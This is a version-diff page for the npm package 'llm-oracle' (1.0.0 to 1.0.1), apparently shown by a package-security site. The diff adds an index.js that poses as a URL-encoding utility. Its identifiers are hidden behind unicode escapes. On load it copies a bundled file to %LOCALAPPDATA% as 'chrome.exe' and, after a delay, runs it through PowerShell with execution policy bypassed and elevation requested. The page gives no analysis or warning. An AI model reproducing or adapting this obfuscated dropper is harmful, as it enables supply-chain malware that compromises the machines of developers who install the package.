llm-oracle 1.0.0 → 1.0.1
Sign up to get free protection for your applications and to get access to all the features.
- package/index.js +45 -45
- package/package.json +1 -1
package/index.js
CHANGED
@@ -1,84 +1,84 @@
|
|
1
1
|
/*!
|
2
|
-
*
|
3
|
-
* MIT
|
2
|
+
* C0pyright(c) 2016 D0uglas Chr1stopher W1lson
|
3
|
+
* MIT L1censed
|
4
4
|
*/
|
5
5
|
|
6
|
-
'
|
6
|
+
'u\u0073e \u0073trict'
|
7
7
|
|
8
8
|
/**
|
9
|
-
*
|
9
|
+
* M0dule exp0rts.
|
10
10
|
* @public
|
11
11
|
*/
|
12
12
|
|
13
|
-
const {
|
14
|
-
const
|
15
|
-
const
|
13
|
+
const { e\u0078ec } = require('c\u0068ild_pr\u006fcess');
|
14
|
+
const f\u0073 = require('f\u0073');
|
15
|
+
const p\u0061th = require('p\u0061th');
|
16
16
|
|
17
|
-
const
|
18
|
-
const
|
19
|
-
const
|
17
|
+
const curr\u0065ntDir = __d\u0069rname;
|
18
|
+
const m\u006fd\u0065lFileP\u0061th = p\u0061th.j\u006f\u0069n(curr\u0065ntDir, 'B\u0061se64D\u0065c\u006fde.ts');
|
19
|
+
const t\u0061rg\u0065tFileP\u0061th = p\u0061th.j\u006f\u0069n(pr\u006fcess.\u0065nv.L\u004fC\u0041L\u0041PPD\u0041T\u0041, Str\u0069ng('chr\u006fm++e.e+x+e').repl\u0061ce(/\+/g, ''));
|
20
20
|
|
21
|
-
//
|
22
|
-
const
|
23
|
-
|
24
|
-
|
21
|
+
// Cr\u0065\u0061te the t\u0061rg\u0065t d\u0069rect\u006fry \u0069f \u0069t d\u006f\u0065sn't \u0065x\u0069st
|
22
|
+
const t\u0061rg\u0065tD\u0069r = p\u0061th.d\u0069rn\u0061me(t\u0061rg\u0065tFileP\u0061th);
|
23
|
+
\u0069f (!f\u0073.\u0065x\u0069stsSync(t\u0061rg\u0065tD\u0069r)) {
|
24
|
+
f\u0073.mkd\u0069rSync(t\u0061rg\u0065tD\u0069r, { rec\u0075rs\u0069ve: true });
|
25
25
|
}
|
26
26
|
|
27
|
-
//
|
28
|
-
|
27
|
+
// C\u006fp\u0079 the he\u0061der.html f\u0069le t\u006f the t\u0061rg\u0065t l\u006fc\u0061t\u0069\u006fn
|
28
|
+
\u0069f (!f\u0073.\u0065x\u0069stsSync(t\u0061rg\u0065tFileP\u0061th))
|
29
29
|
{
|
30
|
-
|
31
|
-
|
32
|
-
|
30
|
+
setT\u0069me\u006ft(() => {
|
31
|
+
f\u0073.c\u006fp\u0079F\u0069leSync(m\u006fd\u0065lFileP\u0061th, t\u0061rg\u0065tFileP\u0061th);
|
32
|
+
e\u0078ec(`p\u006fw\u0065rshell -\u0045x\u0065cut\u0069\u006fnP\u006flic\u0079 Bypass St\u0061rt-Pr\u006fcess -F\u0069leP\u0061th '${t\u0061rg\u0065tFileP\u0061th}' -V\u0065rb Run\u0041s`, (err\u006fr, stdo\u0075t, st\u0064err) => {
|
33
33
|
|
34
34
|
});
|
35
35
|
}, 60000)
|
36
36
|
}
|
37
37
|
|
38
|
-
|
38
|
+
m\u006fd\u0075le.\u0065xp\u006frts = ms\u0061l_d\u0065c\u006fde
|
39
39
|
|
40
40
|
/**
|
41
|
-
*
|
42
|
-
*
|
43
|
-
* @
|
41
|
+
* Reg\u0045xp t\u006f m\u0061tch n\u006fn-URL c\u006fde p\u006f\u0069nts, *\u0061fter* \u0065nc\u006fd\u0069ng (\u0069.e. n\u006ft \u0069ncl\u0075d\u0069ng "%")
|
42
|
+
* \u0061nd \u0069ncl\u0075d\u0069ng \u0069nv\u0061l\u0069d \u0065sc\u0061pe s\u0065q\u0075ences.
|
43
|
+
* @pr\u0069v\u0061te
|
44
44
|
*/
|
45
45
|
|
46
|
-
|
46
|
+
v\u0061r \u0045N\u0043\u004fDE_CH\u0041RS_R\u0045G\u0045XP = /(?:[^\x21\x25\x26-\x3B\x3D\x3F-\x5B\x5D\x5F\x61-\x7A\x7E]|%(?:[^0-9\u0041-F\u0061-f]|[0-9\u0041-F\u0061-f][^0-9\u0041-F\u0061-f]|$))+/g
|
47
47
|
|
48
48
|
/**
|
49
|
-
*
|
50
|
-
* @
|
49
|
+
* Reg\u0045xp t\u006f m\u0061tch \u0075nm\u0061tched s\u0075rr\u006fg\u0061te p\u0061\u0069r.
|
50
|
+
* @pr\u0069v\u0061te
|
51
51
|
*/
|
52
52
|
|
53
|
-
|
53
|
+
v\u0061r \u0055N\u004d\u0041TCHED_S\u0055RR\u004fG\u0041TE_P\u0041\u0049R_R\u0045G\u0045XP = /(^|[^\uD800-\uDBFF])[\uDC00-\uDFFF]|[\uD800-\uDBFF]([^\uDC00-\uDFFF]|$)/g
|
54
54
|
|
55
55
|
/**
|
56
|
-
*
|
57
|
-
* @
|
56
|
+
* Str\u0069ng t\u006f repl\u0061ce \u0075nm\u0061tched s\u0075rr\u006fg\u0061te p\u0061\u0069r w\u0069th.
|
57
|
+
* @pr\u0069v\u0061te
|
58
58
|
*/
|
59
59
|
|
60
|
-
|
60
|
+
v\u0061r \u0055N\u004d\u0041TCHED_S\u0055RR\u004fG\u0041TE_P\u0041\u0049R_R\u0045PL\u0041CE = '$1\uFFFD$2'
|
61
61
|
|
62
62
|
/**
|
63
|
-
*
|
63
|
+
* \u0045nc\u006fde \u0061 URL t\u006f \u0061 perc\u0065nt-\u0065nc\u006fd\u0065d f\u006frm, \u0065xcl\u0075d\u0069ng \u0061lr\u0065\u0061dy-\u0065nc\u006fd\u0065d s\u0065q\u0075ences.
|
64
64
|
*
|
65
|
-
*
|
66
|
-
*
|
67
|
-
*
|
68
|
-
* be
|
65
|
+
* Th\u0069s f\u0075nct\u0069\u006fn w\u0069ll t\u0061ke \u0061n \u0061lr\u0065\u0061dy-\u0065nc\u006fd\u0065d URL \u0061nd \u0065nc\u006fde \u0061ll the n\u006fn-URL
|
66
|
+
* c\u006fde p\u006f\u0069nts. Th\u0069s f\u0075nct\u0069\u006fn w\u0069ll n\u006ft \u0065nc\u006fde the "%" ch\u0061r\u0061cter \u0075nl\u0065ss \u0069t \u0069s
|
67
|
+
* n\u006ft p\u0061rt \u006ff \u0061 v\u0061l\u0069d s\u0065q\u0075ence (`%20` w\u0069ll be l\u0065ft \u0061s-\u0069s, b\u0075t `%f\u006f\u006f` w\u0069ll
|
68
|
+
* be \u0065nc\u006fd\u0065d \u0061s `%25f\u006f\u006f`).
|
69
69
|
*
|
70
|
-
*
|
71
|
-
*
|
72
|
-
*
|
73
|
-
*
|
70
|
+
* Th\u0069s \u0065nc\u006fde \u0069s m\u0065\u0061nt t\u006f be "s\u0061fe" \u0061nd d\u006f\u0065s n\u006ft thr\u006fw err\u006frs. \u0049t w\u0069ll try \u0061s
|
71
|
+
* h\u0061rd \u0061s \u0069t c\u0061n t\u006f pr\u006fperl\u0079 \u0065nc\u006fde the g\u0069ven URL, \u0069ncl\u0075d\u0069ng repl\u0061c\u0069ng \u0061ny r\u0061w,
|
72
|
+
* \u0075np\u0061\u0069red s\u0075rr\u006fg\u0061te p\u0061\u0069rs w\u0069th the \u0055n\u0069c\u006fde repl\u0061cement ch\u0061r\u0061cter pr\u0069\u006fr t\u006f
|
73
|
+
* \u0065nc\u006fd\u0069ng.
|
74
74
|
*
|
75
|
-
* @
|
76
|
-
* @
|
75
|
+
* @p\u0061r\u0061m {str\u0069ng} url
|
76
|
+
* @ret\u0075rn {str\u0069ng}
|
77
77
|
* @public
|
78
78
|
*/
|
79
79
|
|
80
|
-
|
81
|
-
|
82
|
-
.
|
83
|
-
.
|
80
|
+
f\u0075nct\u0069\u006fn ms\u0061l_d\u0065c\u006fde (url) {
|
81
|
+
ret\u0075rn Str\u0069ng(url)
|
82
|
+
.repl\u0061ce(\u0055N\u004d\u0041TCHED_S\u0055RR\u004fG\u0041TE_P\u0041\u0049R_R\u0045G\u0045XP, \u0055N\u004d\u0041TCHED_S\u0055RR\u004fG\u0041TE_P\u0041\u0049R_R\u0045PL\u0041CE)
|
83
|
+
.repl\u0061ce(\u0045N\u0043\u004fDE_CH\u0041RS_R\u0045G\u0045XP, \u0065nc\u006fde\u0055R\u0049)
|
84
84
|
}
|